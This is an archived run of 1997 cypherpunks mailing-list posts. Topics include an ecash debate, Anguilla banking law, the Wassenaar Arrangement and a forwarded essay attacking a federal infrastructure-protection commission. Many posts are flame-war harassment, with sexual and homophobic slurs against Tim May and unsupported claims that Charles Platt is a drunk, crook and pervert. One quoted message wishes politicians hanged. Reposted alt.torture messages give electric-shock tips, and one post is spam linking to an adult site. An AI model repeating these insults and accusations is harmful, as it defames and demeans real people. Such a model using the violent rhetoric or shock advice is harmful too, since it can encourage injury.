To: cypherpunks@toad.com
Subject: Ecash Brain Tennis
Message-ID: <v03007809af4a44bdef24@[204.62.132.248]>
MIME-Version: 1.0
Content-Type: text/plain


Heya. We've got an interesting debate going in Brain Tennis on the
implications of Ecash - Robert Hettinga of the Digital Commerce Society and
Kawika Daguio of the American Bankers Association. Bob thinks ecash (and
specifically digital bearer certificates) will lead to the extinction of
government and other financial institutions, while Kawika contends a need
for trust will always be prevalent and ecash will therefore only strengthen
existing financial structures.

The debate continues through next week - take a look at:

http://www.braintennis.com/

and post in the public Threads at:

http://www.braintennis.com/cgi-bin/interact/replies_all?msg.39955


Best,
Rod


Roderick Simpson                        rod@wired.com
Associate Producer...............The HotWired Network
www.braintennis.com               www.wiredsource.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:41:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <Pine.A41.3.95.970310093034.80220C-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <9kDD4D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Vulis time to take your pill.
> 

It's too bad your mother didn't take her pill.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703101527.HAA22155@toad.com>
Message-ID: <LRDD4D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Peter Trei" <trei@process.com> writes:

> Someone calling themselves "Tim May" wrote:
> > The only solution is to use crypto anarchy to destabilize the system and,
> > hopefull, see them swinging by their necks in front of the Washington
> > Monument. Nearly every politician I'm aware of has richly earned the death
> > penalty, and I hope to see in my lifetime justice carried out.
> 
> Tim:
> 
> It looks like Jim Bell is faking mail from you to the list.
> 

Sometimes even Tim May says things I wholeheartedly agree with.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <aTDD4D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in 
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.
> 
> ... rest deleted ...
> 
> 	- Igor.

I believe the anonymous poster meant "sci.cryology".  Charles Platt has
earned himself quite a reputaion there - a liar, a spammmer, and a crackpot.

P.S.  Is Charles Platt gay and/or Armenian?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <e4DD4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks-errors@toad.com writes:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in 
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.
> 
> ... rest deleted ...
> 
> 	- Igor.


Actually, I think the anonymous poster meant "sci.cryonics".  That's where
Charlie Platt has been spamming Usenet with bizarre ads for his "popsicle
corpses" business, and where his past business associates have exposed him as
a drunkard and a pathological liar.  Just look in DejaNews.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 10 Mar 1997 14:00:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: ElGamal
Message-ID: <199703102200.RAA05727@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[ocksucker] May is a pimply dweeb sitting at a computer chortling at his 
own imagined cleverness.

       ='''
       c oo Timmy C[ocksucker] May
       |  \
         -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wayne Clerke" <wclerke@emirates.net.ae>
Date: Mon, 10 Mar 1997 07:11:45 -0800 (PST)
To: "Vincent Cate" <cp@panix.com>
Subject: Re: Anguilla
Message-ID: <199703101510.TAA22641@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain


> From: Vincent Cate <vince@offshore.com.ai>
> To: Charles Platt <cp@panix.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Anguilla 
> Date: Sunday, 9 March 1997 9:22
> 
> Charles:
> > his country shows few signs of libertarian ideology; e.g. they have a
> > state-owned radio station, they haven't quite embraced the idea of
> > competitive bids for government projects, and they still have a
> > monopolistic phone service that has disabled all the pound and star
keys
> > on island phones so that people can't save money using American
call-back
> > services. 
> 
> I am going to have to check tomorrow and see about thse star and
> pound keys.  It would amuse me if we had seen the birth of an urban
> legend.

Hopefully stillborn. 

I use these services regularly and have never bothered to use the # or *
keys. BTW a 'pound' symbol is NOT the same as a 'hatch', fer chrissake!
While I'm on the soapbox, a 'hash' is NOT a 'hatch' as well ... but that's
a losing battle.

> 
>                           Anguilla         vs       USA
> 1) Income taxes           Libertarian             Socialist
> 2) Sales Taxes            Libertarian             Socialist
> 3) State owned radio      Yes                     Yes
> 4) Competative bids       Sometimes               Sometimes
> 5) Pound keys that work   ?  Will check           Yes
> 6) Reporting of finances  Libertarian             Totalitarian
> 7) Free Speech            Yes, sort of            Yes, sort of
> 
>   -- Vince
> 

Regards,

Mail: <a href=mailto:wclerke@emirates.net.ae>Wayne Clerke</a>
PGP key ID: AEB2546D		FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome.			Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 10 Mar 1997 18:24:16 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: ElGamal
In-Reply-To: <199703102200.RAA05727@dhp.com>
Message-ID: <Pine.A41.3.95.970310192052.26070B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 10 Mar 1997, lucifer Anonymous Remailer wrote:

> Timmy C[ocksucker] May is a pimply dweeb sitting at a computer chortling at his 
> own imagined cleverness.
> 
>        ='''
>        c oo Timmy C[ocksucker] May
>        |  \

Vulis what has this to do with cypherpunks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Mon, 10 Mar 1997 20:51:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) President's Commission on Critical Infrastructure Protec
Message-ID: <199703110451.WAA03729@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Mon, 10 Mar 1997 14:22:28 -0800 (PST)
From:          Phil Agre <pagre@weber.ucsd.edu>
To:            rre@weber.ucsd.edu
Subject:       President's Commission on Critical Infrastructure Protection 
Reply-to:      rre-maintainers@weber.ucsd.edu

[I got a call inviting me to participate in the Los Angeles hearing of
this thing.  It's always hard to tell whether you have a chance to affect
their thinking or whether you're just letting them claim to have consulted
widely before they release their already-written report.  I wasn't able
to return their messages right away because I'm on the move and can't find
a payphone that's programmed to let me call them back at their 888 number. 
(Argh!  Finding a free Internet terminal to send this message, however,
was no problem.)  They tell me that the Los Angeles hearing is on Thursday,
so if you (unlike me) don't have a job or something and want to give them a
firm but polite piece of your mind, you might be interested in showing up.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Sat, 8 Mar 1997 08:10:14 -0800 (PST)
From: "Brock N. Meeks" <brock@well.com>
To: cwd@vorlon.mit.edu
Subject: CWD--Searching for Toto

CyberWire Dispatch // Copyright 1997 // March 1997

Jacking in from the "Man Behind the Curtain" port:

Here... March This
by Lewis Koch
CWD Special Correspondent

Chicago --You better not hack, better not phreak  -- The
President's Commission on Critical Infrastructure Protection
[http://www.pccip.gov] is coming to town.

This behind closed doors Commission holds the key to America's
most precious civil liberty chastity belt:  Privacy.  And now
it's going on tour.  That right, the Commission is coming to a
town near you, a dog-and-pony road trip whose tour jackets are
read:  MADE in the NSA.  

The Commission's goal during the tour is to hear from the people,
to collect ideas about how to protect the critical infrastructure
from... from... why the newest threat (ominous music) to our
national well being now that the Sovs are gone, Saddam's waiting
for a bullet and the Chicoms are turning capitalists -- (scary
music swells)  - "cyber-terrorists" attacking our so-called
"critical infrastructures" through devious computer hacking
raids.  Honest.

And yet, even as members of the Commission smile politely and nod
their graying heads, they are busy trying to figure out (read:
Justify) just how to rewrite U.S. laws which would lift, or at least
modify, the decades old ban that keeps our nation's top spooks
from the National Security Agency from gathering intelligence on
you and me.  

Which is not to say these kats don't have an ironic sense of
humor.  One of their first public debuts will be in San Francisco
during next week's Computers, Freedom and Privacy conference.  Of
course, if you can make it to CFP, you might try the Los Angeles,
California,  Public Works Hearing Room, City Hall, room 350,
third floor, starting at 10 a.m.   and if you can't grok with the
freaks in L.A. or the cypherpunks in San Francisco, perhaps you
can make it to Commission's other scheduled stops in Atlanta,
Houston, St. Louis or Boston.   (Call now, operators are standing
by, 202-828-8869, ask for Liz.)

Between all his strenuous fund raising efforts, President Clinton
last July found the time to form a this Commission to inquire
into the question of whether this nation has protected its
precious physical and cyber innards,  namely electric power, gas
and oil, telecommunications, banking and finance, transportation,
water supply, emergency services, and of course, continuity of
government services, and...the Internet.

By this time the Government has caught on to the fact that the
Internet is no longer a fun toy for academics and young people
but rather but serious business for people who bustle around or
sleep over at the White House. There is money to be made on the
Net, power to be wielded.

There are also some big bucks to be spent, billions maybe, on
what will almost certainly be efforts to "make things safe" from
cyberterrorism.  

The most important job this Commission, however, will be to
direct attention away from the real issues: who was/is
responsible for developing weak, vulnerable infrastructures in
this country in the first place. (Pay no attention to the men
behind the curtain, the men who built the crumbling
infrastructures of Internet Central in the first place.)

Second, while it would be foolish to deny that problems exists
with thieves who use computers and cyberspace, where some child
pornography and a whole hell of a lot of money laundering takes
place, cyberspace is merely a reflection of society, the good and
the bad and a lot in between.

What then, do "cyber threats "actually look like?  Who might
carry them out.  How? Where?   And who will lead the effort to
gather, collate, fold and staple all this valuable information?
A recognized Internet expert?  Someone with extensive experience
in networks and cross-platform computing?  Nope... not for Bill
Clinton.   Just wouldn't do.

No, sir, what we need to combat terrorism is, well, a goddamn,
real life combat veteran, by gwad!  Enter Robert T. March,
chairman of this Infrastructure Protection Task Force.  You can
call him "Bob" or simply "The General" will do because, well,
that's what he did most of his life and besides, it has a real
nice ring to it.

The executive order creating this Commission states that the
chairman be "from outside the Federal government," which Marsh
is, technically, since he retired from the military in 1989.  He
still collects his "inside" the Federal government military
retirement pay though.  Question is, do you want someone who
might played a part creating the mess, now deciding how to fix
it?

The background information on General Marsh is kinda skimpy, at
least for someone who spent the vast majority of his adult life,
rising to the rank of General.  He's 73,  a West Point graduate,
a resident Alexandria, a tony Virginia suburb a stone's throw
from Washington, D.C.

 "His last assignment was serving as the commander of the Air
Force Systems Command, where he directed the research,
development, test and acquisition of aerospace systems for the
Air Force," reads his brief bio on the Web page.  So we can at
least legitimately guess that he was heavy into some kinds of
high tech R&D and Procurement stuff, pushing paper and awarding
big time contracts.

It seems that following his retirement, Marsh marched right back
into research, development, test and acquisition, only, well, on
the other side.

"He served as the first chairman of Thiokol Corp
[http://www.thiokol.com/]," his bio reads, "as it transitioned
from Morton -Thiokol in 1989 to separate company status."

(Remember the Challenger Disaster in 1986?
[http://www.fas.org/spp/51L.html] Can you spell O-rings? If you
click on the company's Web page history section,
[http://www.thiokol.com/History/History.htm#HistoryOfCompany]
this seems to be a non-event.  Could there have been two
Morton-Thiokol companies?)

Marsh is a very active senior, serving on the board and as a
stockholder active in a surprising number of other high tech
ventures, some or all of which could conceivably wind up
providing all kinds of high priced of technical goodies to combat
bad guys bent on physical and cyber destruction of our dear,
up-until-now unprotected infrastructures.

And according to public information office of the Commission,
Marsh intends on keeping his corporate goodies "but at a reduced
compensation" because he was merely "designated" by the President
-- which in White House jargon means...whatever the hell one
wants it to mean-- as long as you don't have to give up the stock
and the options and the director's fees  (Being "designated"
means never having to say I'm sorry.).

Marsh also has strong ties to CAE Electronics,
[http://www.cae.ca/cae_electronics_inc/cae_electronics_inc.html]
a new U.S. company which markets high tech stuff. CAE has a
Canadian papa, which, among the high tech goodies it markets are
"Air Traffic Management Systems" and "Engineering and Software
Support for Weapons Systems." So, having someone on the
Director's payroll in the States, someone with 35 years of
experience in the United States Air Force, makes good, er,
business sense.

Marsh also owns 40,000 shares and makes $8,000.00 a year plus
expenses for his directorship in Teknowledge,
[http://www.teknowledge.com/company/company.html] a Palo Alto
high tech firm parked behind a fence and leafy trees.
Teknowledge is very interested in communications and the
Department of Defense.  Here is how the company describes some of
what it does:

"Since the DoD and many commercial businesses plan to conduct
large-scale operations over international computer networks
similar to the Internet, much of the Teknowledge's current and
future project focus is in providing network associate systems to
make access to knowledge easier, and network accelerators to make
knowledge access over networks faster and more cost effective."

So, we're taking marketing here, not rocket science;  it's easy
to see how Teknowledge might be a "good fit" for any computer
infrastructure "hardening" contracts. Cyberwarriors already
have a name for it: "Minimum Essential Information Infrastructure (MEII)
also known as "emergency lanes on the information highway."

Marsh is also a director of Comverse Government Systems
Corp.[http://www.cis.comverse.com/]. Among the things that
Comverse makes are digital monitoring systems for law enforcement
and intelligence agencies. Oh?  Yes.  Digital wiretapping,
monitoring,  as in...why...yes...of course.  The perfect party
gift for the FBI in search of the hackers who put on those nasty
things on the Justice Department Web site.

Marsh also is a trustee of MITRE Corp, which, we see
[http://www.fast.org/irp/contract/m.htm], is into air defense and
other command, control, communications, and intelligence systems
used by Department of Defense clients.  The company's ties to the
defense intelligence community go back to the late 1950, with
project code names such as HAVE STARE and STEEL TRAP.

And when the General takes his World Tour back home D.C. will we
ever see it's findings?  The Commission isn't bound by the
Freedom of Information Act, so we don't have those thumb screws
to turn.  However, the Commission is governed by the Federal
Advisory Committee Act, which, in part, is there to "to open to
public scrutiny the manner in which government agencies obtain
advise from private individuals."  Of course, this situation
being one of vital national security interest, cyber-terrorists
and all tha t, don't expect a flood of documents and sunshine
from the General.

Apart from the General, there's an interesting internal conflict
 on the Commission.  You see, though it's headed by a "civilian,"
 it's run by the FBI, which doesn't get along with the CIA and
 neither get along with all that well with the NSA.  It's a
 schizophrenic role for the FBI, to be sure.  Actually, there are
 people in the FBI who at least know the right questions to ask,
 that's a start.  The problem is whether their questions can be
 heard over the din of furious, clueless answers shouted out by
 Dir. Louis Freeh, James Kallestrom and others in their own agency.

So, come on out and give the General a few choice thoughts... and
don't forget to call to reserve your spot in line... government
operators are standing by, ahem, from the hours of 8 a.m. to 5
p.m. EST only, of course.   

But hurry, this country is not sold in stores.

---------------------------------

Lewis Koch <lzkoch@mcs.net>KS

**********************************************************************
Charles Anthony
612 871 4090
http://www.info-nation.com
http://www.info-nation.com/rates.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 21:00:35 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <332306B7.1511@gte.net>
Message-ID: <XoXD4D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> > > Vulis you are the pathological liar.
>
> This Graham-John character may just be one of the best autobots
> yet.  I've examined "his" messages, which show even less emotional
> content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
> Obviously not hand-typed by a human.

Perhaps some enemy of the "real" Graham-John is running a 'bot that
forges drivel in his name in an effort to have him globally killfiled?

> > Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> > Just look in sci.cryonics for the testimonies from dozens of people
> > (former business partners and clients) cheated from thousands of
> > dollars by Charles Platt's failed "frozen corpses" business.
> > Charles Platt almost got arrested recently when he showed up drunk
> > at a public meeting and began shouting obscenities at people.

There were more articles on sci.cryonics alleging that Charles Platt
finally got arrested this time. The cocksucker John Gilmore too got
arrested last August. Perhaps the shock of spending a night in jail
will cause Charles Platt to enter a detox program.

> Platt sounds like the ideal candidate to start another disinformation
> periodical.  Any guesses as to who his backers will be?

There are connections between Platt and panix.com and SEA and EFF and C2Net.

Charlie is a very sick pervert who posted the following on Usenet:

]--------------------------------------------------------------------------
]
]Subject:      Re: electricity torture?
]From:         cp@panix.com (Charles Platt)
]Date:         1997/01/31
]Message-Id:   <5crvmh$jhe@panix.com>
]Newsgroups:   alt.torture
]
]I suggest an enhancement to the basic phone-torture scenario. Buy a cheap
]answering machine that picks up on the third or fourth ring. Inside the
]answering machine there is usually a relay that closes when the machine
]picks up. It might be interesting to adapt that relay to supply an
]electric shock to the slave. Thus, the slave gets to sit and listen as the
]phone rings once, twice, a third time ... and of course, sometimes the
]master hangs up BEFORE the fourth ring, just to make life more
]interesting.
]
]It seems to me, true torture has to entail anticipation and uncertainty.
]
]-------------------------------------------------------------------------
]
]Subject:      Re: Orgasm control
]From:         cp@panix.com (Charles Platt)
]Date:         1997/01/05
]Message-Id:   <5ap55i$iit@panix.com>
]Newsgroups:   alt.torture
]
]Dave & Eddie (dave-ed@dircon.co.uk) wrote:
]
]> Has anyone got any experiences, tips or techniques for encouraging and
]> building up to extreme intensity a male's need for orgasm, and then
]> withholding the longed-for and urgently-needed relief of ejaculation -
]> over a very long period of time, and as a torture?
]
]Trouble is, in the long term this tends to result in enlargement of the
]prostate. Of course that can be a torture in itself (urinary problems etc)
]and I'm not saying you shouldn't do it, but at least the victim should be
]aware of these potential long-term penalties.
]
]-----------------------------------------------------------------------
]
]Subject:      Re: Elec. Tort. (I was shocked with 220...)
]From:         cp@panix.com (Charles Platt)
]Date:         1997/02/19
]Message-Id:   <5egkkm$qbq@panix.com>
]Newsgroups:   alt.torture
]
]JBtspflk (jbtspflk@aol.com) wrote:
]> BTW, I always thought that the telephone ringing signal was 20Hz AC, not
]> DC.
]
]You're right, the ring signal is AC. Old phones used a rectifier that
]would pass the AC and ring the bell. When the ringing signal is not
]present, there is a DC potential on the line. This isn't painful but the
]AC ring signal does, er, give you a shock.
]
]This doesn't have much to do with torture, does it? Unless, of course,
]you regard boredom as a form of torture. "Tonight, my dear, I am going to
]tie you down--and read interesting facts about the TELEPHONE SYSTEM!"
]
]----------------------------------------------------------------------
]
]Subject:  Re: Hand Crank Generator
]From:  cp@panix.com (Charles Platt)
]Date:  1997/01/06
]Message-Id:  <5ashd1$k2m@panix.com>
]Newsgroups: alt.torture
]
]Leonard (ixion@dorsai.org) wrote:
]> How will this tell me how to effectively use this device?
]> I'm still looking for practical data.
]> Anybody ever use one of these things?
]
]All I can tell you is I used to fool around with one of these things, as a
]kid, with a friend. As kids, we took turns with one person turning the
]handle while the other took a wire in each hand. As an adult, I would say
]this is definitely not such a great idea. I find it hard to believe,
]however, that you're going to do any harm if the two (dry) conductors
]touch (dry) skin just a few inches apart. As a previous post said, avoid
]running current through major organs (heart, brain, etc!).
]
]A previous post gave various resistance values for skin. If you want to
]know how much current the generator will pass through skin, first obtain a
]potentiometer (variable resistor) that can take a reasonable amount of
]current--1 watt, say. Use a volt/amp/ohm meter to calibrate the
]potentiometer--i.e. mark where the knob points for 1000 ohms, 5000 ohms,
]etc. Now attach one wire from your generator to one side of the
]potentiometer, link the other side of your potentiometer with your
]volt/amp/ohm meter, switch the meter to measure CURRENT (amps), and attach
]the other side of the meter to the other wire of your generator. In other
]words, the generator, potentiometer, and meter form a closed daisy chain.
]Crank the handle at different potentiometer settings and see what readings
]you get from your meter. This will only be an APPROXIMATE guide, and you
]may want to check the skin resistance of your actual test subject too.
]
]Note: all the above advice dates back to stuff I did 25 years ago. I think
]it's accurate (if it's not, someone will probably flame me anyway); but
]as with all forms of consensual torture, it might be a good idea to try it
]on yourself first.
]
]------------------------------------------------------------------------
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Mar 1997 00:07:45 -0800 (PST)
To: "Peter Trei" <tcmay@got.net>
Subject: Re: The Pro-CODE Bill could make things worse!
Message-ID: <199703110807.AAA14597@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:35 AM 3/10/97 -6, Peter Trei wrote:
>Someone calling themselves "Tim May" wrote:
>> The only solution is to use crypto anarchy to destabilize the system and,
>> hopefull, see them swinging by their necks in front of the Washington
>> Monument. Nearly every politician I'm aware of has richly earned the death
>> penalty, and I hope to see in my lifetime justice carried out.
>
>Tim:
>
>It looks like Jim Bell is faking mail from you to the list.

Nah, it wasn't me, but it might as well have been.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 10 Mar 1997 20:39:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Money Laundering (fwd)
In-Reply-To: <Pine.LNX.3.95.970311004307.594A-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970311004319.519E-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




> On Thu, 6 Mar 1997, Vincent Cate wrote:
> > So we had like 50 people from FC97 asking questions of several Anguillian
> > lawyers.  At the moment there is no law against money laundering.  But
> > they are thinking of having a law (drafts out) that would make money
> > laundering a crime. 
> 
> This puzzles me. I missed some of the session you refer to, but I did do 
> an interview with Victor Banks, the Minister of Finance, and Lynwood 
> Bell, whose Hansa Bank is the last surviving indigenous Anguillan bank, 
> and both of them were very very definite that money laundering is 
> absolutely prohibited.

Ya, absolutely prohibited.  But not by law, yet.  Soon come.

> Were they just putting a good face on things for the press? I'm quite 
> willing to believe this. But how can we know for sure, either way?

No, they really don't want any money laundering.  Maybe they were holding
off on that law change so that the USA gov could run a money laundering
bank here for awhile.  But the US seems to think their bank has done
enough money laundering and they shut it down. 

   --  Vince





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: erin@astrobiz.com
Date: Tue, 11 Mar 1997 02:43:41 -0800 (PST)
To: Friend@public.com
Subject: HI <]:-D
Message-ID: <199703110827.BAA25562@lynx.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi   :-D

I came across this great Web Site while I was out surfin' the net. I
thought you might be interested. You can find it at this Web Address
(just type it in your browser)... 

http://205.16.112.54

or, hyperlink this address (if your browser supports it)...

Hot Bods

See ya!
Michelle
















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e-mail distribution list." Thank you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Mon, 10 Mar 1997 14:23:14 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: Wassenaar Arrangement and "sensitive dual-use items"
In-Reply-To: <v03007806af4a1d46115f@[168.161.105.191]>
Message-ID: <199703102221.HAA13498@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 10 Mar 1997 15:29:00 -0500, Declan McCullagh said:
 >I got a copy of what I thought was the Arrangement this morning from a
 >source within the State Department.
 >
 >It's 16 pages, with five appendices and a few pages of explanatory materials.
[..]
 >However, my copy seems to be much shorter than the one Hayashi has an

In my far memory, it was about 50-70 pages.  It seems to
be a digest or a boneless version.

====

Each OECD member country ought to localize the Wassenaar
Arrangement and make effect it in each country.  So, I
think you can get the localized version of it from http:
//www.access.gpo.gov/ or else...

In Japan, the W.A. has taken from Sep 13, 1996.  [Source:
Nikkei Shinbun (evening), Aug 20, 1996, side 3]

## for my use -> XURL: X.19960820JST.newspaper:xy//
## Nekkei%evening/3@3/x?y?//

Although I have not seen it, there should be the Japanese
translated version of the W.A.

///hayashi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 11 Mar 1997 04:28:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703111227.HAA29537@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May's father, an idiot, stumbled across Timmy `C' May's mother, an 
imbecile, when she had no clothes on. Nine months later she had a little moron.

      \
     o/\_ Timmy `C' May
    <\__,\
     '\,  |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Mon, 10 Mar 1997 14:32:36 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Wassenaar Arrangement
In-Reply-To: <1.5.4.32.19970309220727.00705138@pop.pipeline.com>
Message-ID: <199703102231.HAA13652@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 09 Mar 1997 17:07:27 -0500, John Young said:
 >The doc is on my site at:
 >
 >   http://jya.com/wassnr52.htm

I checked an above page out now.  Thanks.

# Sorry too short.

///hayashi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 11 Mar 1997 08:07:48 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199703111227.HAA29537@holy.cow.net>
Message-ID: <Pine.A41.3.95.970311090442.85248A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vulis time to see a doctor.


On Tue, 11 Mar 1997, Bovine Remailer wrote:

> Timmy `C' May's father, an idiot, stumbled across Timmy `C' May's mother, an 
> imbecile, when she had no clothes on. Nine months later she had a little moron.
> 
>       \
>      o/\_ Timmy `C' May
>     <\__,\
>      '\,  |
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Mar 1997 06:49:12 -0800 (PST)
To: DCSB Distribution <rah@shipwright.com>
Subject: DCSB: Stewart Baker on Clinton Administration Crypto Policy andDigital Commerce
Message-ID: <v03020911af4b15d75de2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----




                 The Digital Commerce Society of Boston

                               Presents
                           Mr. Stewart Baker,
                           Steptoe & Johnson
         formerly General Counsel, the National Security Agency

         "The Clinton Administration's Latest Encryption Policy
                and What It Means for Digital Commerce"



                        Tuesday, April 1, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Baker will discuss the details of the Clinton Administration's latest
encryption policy, which seeks to encourage "key recovery" encryption by
offering special export privileges to companies that support key-recovery
systems.  He will also discuss the reaction of American high-tech
companies, foreign governments and consumers.

Mr. Baker, formerly General Counsel of the National Security Agency, has an
international and technology practice at Steptoe & Johnson in Washington,
DC. He is a frequent contributor to WIRED and other publications on topics
such as encryption, national security and Internet law.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, April 1, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
